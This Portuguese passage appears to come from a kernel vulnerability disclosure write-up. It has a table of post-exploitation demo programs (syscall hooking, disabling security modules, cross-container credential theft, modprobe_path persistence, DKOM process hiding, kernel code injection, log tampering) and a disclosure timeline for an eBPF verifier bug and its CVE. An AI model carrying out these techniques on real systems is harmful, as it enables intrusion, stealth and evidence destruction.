| 3 | tier3_syscall_hook.c | Hook da tabela de syscalls - percorrer as tabelas de páginas para tornar a tabela de syscalls gravável, trocar um handler, chamá-lo do userspace, restaurar |
| 4 | tier4_security_disable.c | Desativação de subsistemas de segurança - desabilitar SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; verificar via /proc |
| 5 | tier5_cross_container.c | Roubo de credenciais entre contêineres - enumerar estruturas nsproxy, encontrar o task_struct de um PID alvo em outro namespace, modificar suas credenciais |
| 6 | tier6_persistence.c | Persistência acionada pelo kernel - sobrescrever modprobe_path e core_pattern para executar payloads do atacante em erros de formato binário e crashes |
| 7 | tier7_hardware.c | Introspecção em nível de hardware - fazer dump da IDT, ler/decodificar CR0/CR4, percorrer tabelas de páginas com matriz completa de permissões, recuperar a base do KASLR |
| 8 | tier8_dkom_cloak.c | Camuflagem de processo DKOM - criar um filho com fork, encontrar seu task_struct, desvinculá-lo da lista de tarefas do kernel (invisível para ps/iteradores de tarefas), religar |
| 9 | tier9_code_inject.c | Injeção de código ao vivo no kernel - aplicar patch no PMD de .text para torná-lo gravável, sobrescrever o prólogo de sys_getuid com shellcode (mov rax, 0x1337; ret), chamar do userspace, restaurar |
| 10 | tier10_anti_forensics.c | Antiforense - fazer dump do interior do ring buffer do printk, adulterar variáveis forenses (ftrace, audit, dmesg_restrict, kptr_restrict), R/W do texto do buffer de log do kernel |
| Data | Evento |
|---|
| 2026-01-14 | bffacdb80b93 introduz maybe_fork_scalars() no 7.0-rc1 |
| 2026-03-04 | Bug portado de volta para o estável 6.12.y como dea9989a3f |
| 2026-03-11 | Encontro o bug durante auditoria do verificador |
| 2026-03-12 | Leitura/escrita OOB confirmada, exploit funcionando |
| 2026-03-13 | PoC de escape de contêiner completo, vídeo gravado |
| 2026-03-14 | Patch v3 enviado para [email protected] |
| 2026-03-22 | Correção mesclada por Alexei Starovoitov no bpf/bpf.git |
| 2026-04-06 | Linus mescla a tag bpf-fixes na mainline |
| 2026-04-12 | CVE-2026-31413 atribuído por Greg Kroah-Hartman |